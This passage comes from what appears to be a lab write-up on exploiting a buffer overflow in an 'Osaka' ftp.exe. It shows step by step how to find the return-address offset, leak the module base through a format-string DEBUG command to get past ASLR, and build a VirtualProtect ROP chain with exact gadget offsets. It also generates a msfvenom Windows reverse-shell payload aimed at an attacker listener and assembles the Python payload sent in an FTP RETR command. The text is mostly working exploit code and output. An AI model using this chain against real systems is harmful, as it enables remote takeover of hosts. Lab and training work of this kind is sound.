<div class="language-python codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-python codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">pattern </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token builtin">open</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"pattern.txt"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">read</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">strip</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">p</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">sendline</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">b"RETR "</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">+</span><span class="token plain"> pattern</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">encode</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">)</span><br></div></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="43-read-eip-and-resolve-offset">4.3 Read EIP and resolve offset<a href="https://blog.artofvector.com/blog/osaka-ftp-buffer-overflow-psgetsys#43-read-eip-and-resolve-offset" class="hash-link" aria-label="Direct link to 4.3 Read EIP and resolve offset" title="Direct link to 4.3 Read EIP and resolve offset" translate="no">​</a></h3>
<p>After the crash in WinDbg:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">r eip</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">!mona pattern_offset eip</span><br></div></code></pre></div></div>
<p>Mona output for this lab:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">Exact match at offset 272</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">268 bytes buffer + 4 saved EBP → return address at offset 272</span><br></div></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="44-alternative-from-kali-no-mona-pattern-on-vm">4.4 Alternative from Kali (no Mona pattern on VM)<a href="https://blog.artofvector.com/blog/osaka-ftp-buffer-overflow-psgetsys#44-alternative-from-kali-no-mona-pattern-on-vm" class="hash-link" aria-label="Direct link to 4.4 Alternative from Kali (no Mona pattern on VM)" title="Direct link to 4.4 Alternative from Kali (no Mona pattern on VM)" translate="no">​</a></h3>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 400</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"># after crash, read EIP value in WinDbg:</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q &lt;EIP_VALUE&gt;</span><br></div></code></pre></div></div>
<p>Both methods must agree: <strong>272 bytes</strong> before the return address.</p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="phase-5--module-protections-mona-modules">Phase 5 — Module protections (<code>!mona modules</code>)<a href="https://blog.artofvector.com/blog/osaka-ftp-buffer-overflow-psgetsys#phase-5--module-protections-mona-modules" class="hash-link" aria-label="Direct link to phase-5--module-protections-mona-modules" title="Direct link to phase-5--module-protections-mona-modules" translate="no">​</a></h2>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">!mona modules</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">lm m ftp</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">lm v m ftp</span><br></div></code></pre></div></div>
<p>Typical Osaka <code>ftp.exe</code> row:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">start             end               module name</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">00400000          00427000          ftp</span><br></div></code></pre></div></div>
<p>Protection summary:</p>
<table><thead><tr><th>Protection</th><th>State on <code>ftp.exe</code></th><th>Exploit impact</th></tr></thead><tbody><tr><td><strong>ASLR</strong></td><td>ON (base changes every restart)</td><td>All gadget/IAT addresses need <code>bin_base + offset</code></td></tr><tr><td><strong>DEP / NX</strong></td><td>ON</td><td>Cannot execute shellcode on stack directly → ROP <code>VirtualProtect</code> first</td></tr><tr><td><strong>SafeSEH</strong></td><td>OFF</td><td>No SEH-based bypass needed</td></tr><tr><td><strong>Stack cookies (/GS)</strong></td><td>OFF in this build</td><td>Straight overwrite to saved EIP</td></tr></tbody></table>
<p>Because <strong>DEP is enabled</strong>, jumping directly to shellcode on the stack fails. The standard fix: ROP into <strong><code>VirtualProtect</code></strong>, mark the stack region <strong>RWX</strong>, then <strong><code>jmp esp</code></strong> into a NOP sled + shellcode.</p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="phase-6--bad-character-analysis">Phase 6 — Bad character analysis<a href="https://blog.artofvector.com/blog/osaka-ftp-buffer-overflow-psgetsys#phase-6--bad-character-analysis" class="hash-link" aria-label="Direct link to Phase 6 — Bad character analysis" title="Direct link to Phase 6 — Bad character analysis" translate="no">​</a></h2>
<p>FTP copies the filename into a C string — <strong><code>\x00</code> terminates the copy</strong>. Filter ROP gadgets and shellcode accordingly.</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">!mona bytearray -b "\x00"</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">!mona rop -m ftp -cpb "\x00"</span><br></div></code></pre></div></div>
<p>Also watch for <code>\x0a</code> (newline) and <code>\x0d</code> (carriage return) if the parser treats them as command terminators. The final msfvenom stage uses <strong><code>-b "\x00"</code></strong> at minimum.</p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="phase-7--aslr-leak-via-debug-x">Phase 7 — ASLR leak via <code>DEBUG %x</code><a href="https://blog.artofvector.com/blog/osaka-ftp-buffer-overflow-psgetsys#phase-7--aslr-leak-via-debug-x" class="hash-link" aria-label="Direct link to phase-7--aslr-leak-via-debug-x" title="Direct link to phase-7--aslr-leak-via-debug-x" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="71-discover-the-leak-manual-from-kali">7.1 Discover the leak (manual, from Kali)<a href="https://blog.artofvector.com/blog/osaka-ftp-buffer-overflow-psgetsys#71-discover-the-leak-manual-from-kali" class="hash-link" aria-label="Direct link to 7.1 Discover the leak (manual, from Kali)" title="Direct link to 7.1 Discover the leak (manual, from Kali)" translate="no">​</a></h3>
<div class="language-python codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-python codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">p</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">sendline</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">b"DEBUG %x"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">line </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> p</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">recvline</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">timeout</span><span class="token operator" style="color:#393A34">=</span><span class="token number" style="color:#36acaa">5</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">print</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">line</span><span class="token punctuation" style="color:#393A34">)</span><br></div></code></pre></div></div>
<p>Example:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">DEBUG: 0x00401f0a</span><br></div></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="72-correlate-with-module-base-windbg-same-run">7.2 Correlate with module base (WinDbg, same run)<a href="https://blog.artofvector.com/blog/osaka-ftp-buffer-overflow-psgetsys#72-correlate-with-module-base-windbg-same-run" class="hash-link" aria-label="Direct link to 7.2 Correlate with module base (WinDbg, same run)" title="Direct link to 7.2 Correlate with module base (WinDbg, same run)" translate="no">​</a></h3>
<p>While attached, before or after sending <code>DEBUG</code>:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">lm m ftp</span><br></div></code></pre></div></div>
<p>Example:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">00400000          00427000          ftp</span><br></div></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="73-compute-the-static-delta">7.3 Compute the static delta<a href="https://blog.artofvector.com/blog/osaka-ftp-buffer-overflow-psgetsys#73-compute-the-static-delta" class="hash-link" aria-label="Direct link to 7.3 Compute the static delta" title="Direct link to 7.3 Compute the static delta" translate="no">​</a></h3>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">leak     = 0x00401f0a   (from DEBUG response)</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">bin_base = 0x00400000   (from lm — changes each run)</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">delta    = leak - bin_base = 0x10f0</span><br></div></code></pre></div></div>
<p>That <strong><code>0x10f0</code></strong> constant is baked into the remote exploit:</p>
<div class="language-python codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-python codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">leak </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token builtin">int</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">line</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">split</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">[</span><span class="token number" style="color:#36acaa">1</span><span class="token punctuation" style="color:#393A34">]</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">16</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">bin_base </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> leak </span><span class="token operator" style="color:#393A34">-</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">0x10f0</span><br></div></code></pre></div></div>
<p>Every ROP gadget address becomes <strong><code>gadget_offset + bin_base</code></strong> at runtime.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="74-verify-the-leak-points-into-ftpexe">7.4 Verify the leak points into <code>ftp.exe</code><a href="https://blog.artofvector.com/blog/osaka-ftp-buffer-overflow-psgetsys#74-verify-the-leak-points-into-ftpexe" class="hash-link" aria-label="Direct link to 74-verify-the-leak-points-into-ftpexe" title="Direct link to 74-verify-the-leak-points-into-ftpexe" translate="no">​</a></h3>
<p>In WinDbg, check whether the leaked address falls inside the module range:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">? 00401f0a - 00400000</span><br></div></code></pre></div></div>
<p>If the delta is stable across multiple <code>DEBUG %x</code> calls (same process run), the leak slot is reliable. Restart <code>ftp.exe</code>, send <code>DEBUG</code> again, recompute — <code>bin_base</code> should match <code>lm m ftp</code>.</p>
<p>Optional multi-leak probe:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">DEBUG %x|%x|%x|%x</span><br></div></code></pre></div></div>
<p>Use the <strong>first value that falls inside <code>ftp.exe</code></strong> for the delta calculation.</p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="phase-8--resolve-virtualprotect-iat-mona">Phase 8 — Resolve <code>VirtualProtect</code> IAT (Mona)<a href="https://blog.artofvector.com/blog/osaka-ftp-buffer-overflow-psgetsys#phase-8--resolve-virtualprotect-iat-mona" class="hash-link" aria-label="Direct link to phase-8--resolve-virtualprotect-iat-mona" title="Direct link to phase-8--resolve-virtualprotect-iat-mona" translate="no">​</a></h2>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">!mona iat -s VirtualProtect -m ftp</span><br></div></code></pre></div></div>
<p>Mona lists the Import Address Table slot. Relative to image base <code>0x00400000</code>:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">VirtualProtect IAT → ftp+0x1e000  (absolute 0x0041e000 when base = 0x00400000)</span><br></div></code></pre></div></div>
<p>In <code>rce.py</code>, the tuple <strong><code>(0x1e000, True)</code></strong> means: add <strong><code>bin_base</code></strong> at runtime before packing into the payload.</p>
<p>Verify in WinDbg:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">dps ftp+0x1e000 L1</span><br></div></code></pre></div></div>
<p>Should show a pointer into <code>kernel32!VirtualProtect</code> (or similar).</p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="phase-9--build-the-rop-chain-mona">Phase 9 — Build the ROP chain (Mona)<a href="https://blog.artofvector.com/blog/osaka-ftp-buffer-overflow-psgetsys#phase-9--build-the-rop-chain-mona" class="hash-link" aria-label="Direct link to Phase 9 — Build the ROP chain (Mona)" title="Direct link to Phase 9 — Build the ROP chain (Mona)" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="91-generate-candidate-gadgets">9.1 Generate candidate gadgets<a href="https://blog.artofvector.com/blog/osaka-ftp-buffer-overflow-psgetsys#91-generate-candidate-gadgets" class="hash-link" aria-label="Direct link to 9.1 Generate candidate gadgets" title="Direct link to 9.1 Generate candidate gadgets" translate="no">​</a></h3>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">!mona bytearray -b "\x00"</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">!mona rop -m ftp -cpb "\x00"</span><br></div></code></pre></div></div>
<p>Mona writes <strong><code>rop.txt</code></strong> and often <strong><code>rop_virtualprotect.txt</code></strong> under <code>c:\mona\&lt;pid&gt;\</code>. Open those files and look for a chain containing:</p>
<ul>
<li class=""><code>pop eax ; ret</code> → load VirtualProtect IAT pointer</li>
<li class="">register pops for <code>VirtualProtect</code> arguments</li>
<li class=""><code>pushad ; ret</code> → sets up the call</li>
<li class=""><code>jmp esp</code> → land on shellcode after the API returns</li>
</ul>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="92-verify-each-gadget-in-windbg">9.2 Verify each gadget in WinDbg<a href="https://blog.artofvector.com/blog/osaka-ftp-buffer-overflow-psgetsys#92-verify-each-gadget-in-windbg" class="hash-link" aria-label="Direct link to 9.2 Verify each gadget in WinDbg" title="Direct link to 9.2 Verify each gadget in WinDbg" translate="no">​</a></h3>
<p>Before copying offsets into Python, disassemble each one:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">!u ftp+0x1ce98</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">!u ftp+0x8099</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">!u ftp+0x1bde3</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">!u ftp+0x10b8e</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">!u ftp+0x4905</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">!u ftp+0x2076</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">!u ftp+0x14adb</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">!u ftp+0x1d2bf</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">!u ftp+0x10d6</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">!u ftp+0x10da</span><br></div></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="93-final-gadget-table-offsets-from-ftpexe-base">9.3 Final gadget table (offsets from <code>ftp.exe</code> base)<a href="https://blog.artofvector.com/blog/osaka-ftp-buffer-overflow-psgetsys#93-final-gadget-table-offsets-from-ftpexe-base" class="hash-link" aria-label="Direct link to 93-final-gadget-table-offsets-from-ftpexe-base" title="Direct link to 93-final-gadget-table-offsets-from-ftpexe-base" translate="no">​</a></h3>
<table><thead><tr><th>Offset</th><th>Instruction</th><th>Role in chain</th></tr></thead><tbody><tr><td><code>0x1ce98</code></td><td><code>pop ebp ; ret</code></td><td>Stack adjust / padding (×2)</td></tr><tr><td><code>0x8099</code></td><td><code>pop ebx ; ret</code></td><td>Load EBX</td></tr><tr><td><code>0x1bde3</code></td><td><code>pop edx ; ret</code></td><td>Load EDX (<code>flNewProtect</code>)</td></tr><tr><td><code>0x10b8e</code></td><td><code>pop ecx ; ret</code></td><td>Load ECX (writable <code>lpflOldProtect</code>)</td></tr><tr><td><code>0x4905</code></td><td><code>pop edi ; ret</code></td><td>ROP NOP / alignment</td></tr><tr><td><code>0x2076</code></td><td><code>pop esi ; ret</code></td><td>Load ESI</td></tr><tr><td><code>0x14adb</code></td><td><code>jmp [eax]</code></td><td>Indirect call helper</td></tr><tr><td><code>0x1d2bf</code></td><td><code>pop eax ; ret</code></td><td>Load EAX → VirtualProtect IAT</td></tr><tr><td><code>0x1e000</code></td><td>VirtualProtect IAT</td><td>Function pointer (rebases)</td></tr><tr><td><code>0x10d6</code></td><td><code>pushad ; ret</code></td><td>Register setup for API call</td></tr><tr><td><code>0x10da</code></td><td><code>jmp esp</code></td><td>Jump to NOP sled + shellcode</td></tr></tbody></table>
<p>Register layout after <code>pushad</code> (classic Corelan VirtualProtect technique):</p>
<table><thead><tr><th>Register</th><th>Value</th><th>Meaning</th></tr></thead><tbody><tr><td>EBX</td><td><code>0x201</code></td><td><code>PAGE_EXECUTE_READWRITE</code> constant</td></tr><tr><td>EDX</td><td><code>0x40</code></td><td><code>flNewProtect</code> = RWX</td></tr><tr><td>ECX</td><td><code>0x27041</code> + base</td><td>Writable address for old protect (output)</td></tr><tr><td>EAX</td><td>IAT slot</td><td>Pointer to <code>VirtualProtect</code></td></tr><tr><td>EDI/ESI/EBP</td><td>padding</td><td>Alignment gadgets</td></tr></tbody></table>
<p>Constants (<code>0x201</code>, <code>0x40</code>, <code>0x27041</code>, <code>0x4426</code>) are <strong>not</strong> rebased — Python tuple second field is <strong><code>False</code></strong>. Gadget addresses <strong>are</strong> rebased — second field is <strong><code>True</code></strong>.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="94-local-validation-before-going-remote">9.4 Local validation before going remote<a href="https://blog.artofvector.com/blog/osaka-ftp-buffer-overflow-psgetsys#94-local-validation-before-going-remote" class="hash-link" aria-label="Direct link to 9.4 Local validation before going remote" title="Direct link to 9.4 Local validation before going remote" translate="no">​</a></h3>
<p>Set a breakpoint on the final gadget:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">bp ftp+0x10da</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">g</span><br></div></code></pre></div></div>
<p>Send the full payload from Kali. When WinDbg breaks at <code>jmp esp</code>:</p>
<ol>
<li class="">Single-step through <code>VirtualProtect</code></li>
<li class="">Confirm ESP points at the NOP sled</li>
<li class="">Confirm execution reaches shellcode (or at least that the page permissions changed)</li>
</ol>
<p>After a successful hit, <code>ftp.exe</code> may crash or hang — normal for this lab.</p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="phase-10--generate-shellcode-msfvenom-on-kali">Phase 10 — Generate shellcode (msfvenom on Kali)<a href="https://blog.artofvector.com/blog/osaka-ftp-buffer-overflow-psgetsys#phase-10--generate-shellcode-msfvenom-on-kali" class="hash-link" aria-label="Direct link to Phase 10 — Generate shellcode (msfvenom on Kali)" title="Direct link to Phase 10 — Generate shellcode (msfvenom on Kali)" translate="no">​</a></h2>
<p>Match <strong><code>LHOST</code></strong> to your Penelope listener IP and <strong><code>LPORT</code></strong> to <strong>5555</strong>:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">msfvenom -a x86 -p windows/shell_reverse_tcp \</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  LHOST=192.168.45.182 LPORT=5555 \</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  -b "\x00" \</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  -f python -v shellcode</span><br></div></code></pre></div></div>
<table><thead><tr><th>Flag</th><th>Why</th></tr></thead><tbody><tr><td><code>-a x86</code></td><td>32-bit <code>ftp.exe</code></td></tr><tr><td><code>windows/shell_reverse_tcp</code></td><td>Reverse TCP callback</td></tr><tr><td><code>-b "\x00"</code></td><td>Null byte terminates FTP filename copy</td></tr><tr><td><code>-f python -v shellcode</code></td><td>Paste directly into <code>rce.py</code></td></tr></tbody></table>
<p><strong>Regenerate shellcode whenever <code>LHOST</code> or <code>LPORT</code> changes.</strong> Do not reuse bytes from another network.</p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="phase-11--assemble-the-payload">Phase 11 — Assemble the payload<a href="https://blog.artofvector.com/blog/osaka-ftp-buffer-overflow-psgetsys#phase-11--assemble-the-payload" class="hash-link" aria-label="Direct link to Phase 11 — Assemble the payload" title="Direct link to Phase 11 — Assemble the payload" translate="no">​</a></h2>
<p>Stack layout after the overflow:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">[ 272 bytes padding ] [ ROP chain — 22 dwords ] [ 16-byte NOP sled ] [ shellcode ]</span><br></div></code></pre></div></div>
<p>Python logic:</p>
<div class="language-python codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-python codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">payload </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">b"A"</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">*</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">272</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">for</span><span class="token plain"> val</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> add_base </span><span class="token keyword" style="color:#00009f">in</span><span class="token plain"> rop</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    payload </span><span class="token operator" style="color:#393A34">+=</span><span class="token plain"> p32</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">val </span><span class="token operator" style="color:#393A34">+</span><span class="token plain"> bin_base </span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> add_base </span><span class="token keyword" style="color:#00009f">else</span><span class="token plain"> val</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">payload </span><span class="token operator" style="color:#393A34">+=</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">b"\x90"</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">*</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">16</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">payload </span><span class="token operator" style="color:#393A34">+=</span><span class="token plain"> shellcode</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">p</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">sendline</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">b"RETR "</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">+</span><span class="token plain"> payload</span><span class="token punctuation" 